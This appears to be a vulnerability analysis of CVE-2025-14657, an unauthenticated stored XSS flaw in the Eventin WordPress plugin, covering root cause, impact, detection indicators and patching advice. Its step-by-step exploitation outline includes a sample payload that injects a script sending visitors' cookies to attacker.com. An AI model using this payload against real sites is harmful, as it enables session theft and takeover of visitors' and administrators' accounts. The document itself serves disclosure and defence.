CVE-2025-14657: 
WordPress vulnerability analysis and mitigation

CVE-2025-14657 is a stored Cross-Site Scripting (XSS) vulnerability combined with a missing authorization flaw in the Eventin – Event Manager, Events Calendar, Event Tickets and Registrations plugin for WordPress. It affects all versions up to and including 4.0.51, developed by Arraytics. The vulnerability was published on January 9, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, NVD).

The root cause is a missing capability check (CWE-862) on the post_settings function, which allows unauthenticated attackers to invoke the function and modify plugin settings without any authentication or authorization. Compounding this, the etn_primary_color setting lacks proper input sanitization and output escaping, enabling attackers to inject arbitrary JavaScript that is stored server-side and rendered whenever a page loading Eventin styles is visited — a classic stored XSS pattern. The patch was applied across three files: base/Enqueue/register.php, base/api-handler.php, and core/event/api.php in changeset 3429942 (Wordfence, WordPress Trac).

Successful exploitation allows unauthenticated attackers to persistently inject malicious JavaScript into WordPress sites running the vulnerable plugin, affecting all visitors who load any page where Eventin styles are rendered. The stored XSS payload can be used to steal session cookies, redirect users to phishing pages, perform actions on behalf of authenticated users (including administrators), or deliver malware. The changed scope (S:C in CVSS) reflects that the impact extends beyond the plugin itself to all site visitors and potentially the broader WordPress installation (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.051%, indicating a low probability of near-term exploitation (Feedly). The vulnerability is detected by Qualys (detection ID 530823) and was included in CISA's vulnerability bulletin for the week of January 5, 2026 (CISA). No threat actor attribution or KEV catalog listing has been identified.

1. Reconnaissance: Identify WordPress sites running the Eventin plugin (versions ≤ 4.0.51) using tools like WPScan, Shodan, or by inspecting page source for Eventin-specific CSS/JS assets.
2. Locate the vulnerable endpoint: Identify the REST API or AJAX endpoint that invokes the post_settings function within the plugin (e.g., via the plugin's registered API routes in core/event/api.php).
3. Send unauthenticated request: Craft an HTTP POST request to the post_settings endpoint without any authentication credentials, since no capability check is enforced.
4. Inject malicious payload: Include a crafted value for the etn_primary_color parameter containing a JavaScript payload (e.g., </style><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) that bypasses sanitization.
5. Trigger execution: The injected script is stored in the plugin settings and rendered in the page's <style> block whenever any visitor loads a page with Eventin styles, executing the attacker's JavaScript in the victim's browser (Wordfence).

• Network: Unexpected unauthenticated POST requests to Eventin plugin API endpoints (e.g., routes registered in core/event/api.php) from unknown IP addresses; outbound requests from visitor browsers to unfamiliar domains following page loads.
• Logs: WordPress access logs showing unauthenticated POST requests to Eventin REST API routes with unusual parameter values in the etn_primary_color field; repeated requests from a single IP targeting plugin settings endpoints.
• File System / Database: Modified etn_primary_color option value in the WordPress wp_options table containing <script> tags or encoded JavaScript; unexpected changes to plugin settings without corresponding admin activity.
• Browser / Client-Side: Users reporting unexpected redirects, pop-ups, or session anomalies when visiting pages that load Eventin styles.

Site administrators should update the Eventin plugin to version 4.0.52 or later, which addresses the missing capability check and adds proper input sanitization and output escaping for the etn_primary_color setting (Wordfence, WordPress Trac). If immediate patching is not possible, consider temporarily deactivating the plugin or restricting access to the plugin's API endpoints via a Web Application Firewall (WAF). Wordfence users with the premium firewall enabled received protection against this vulnerability.

Wordfence disclosed the vulnerability and published a weekly WordPress vulnerability report covering the January 5–11, 2026 period that included CVE-2025-14657 (Wordfence Blog). CISA included the CVE in its vulnerability bulletin for the week of January 5, 2026 (CISA). Qualys added detection for the vulnerability (ID 530823) and reported it in their January 2026 application security detections summary. No significant independent researcher commentary or social media discussion beyond routine aggregation was observed.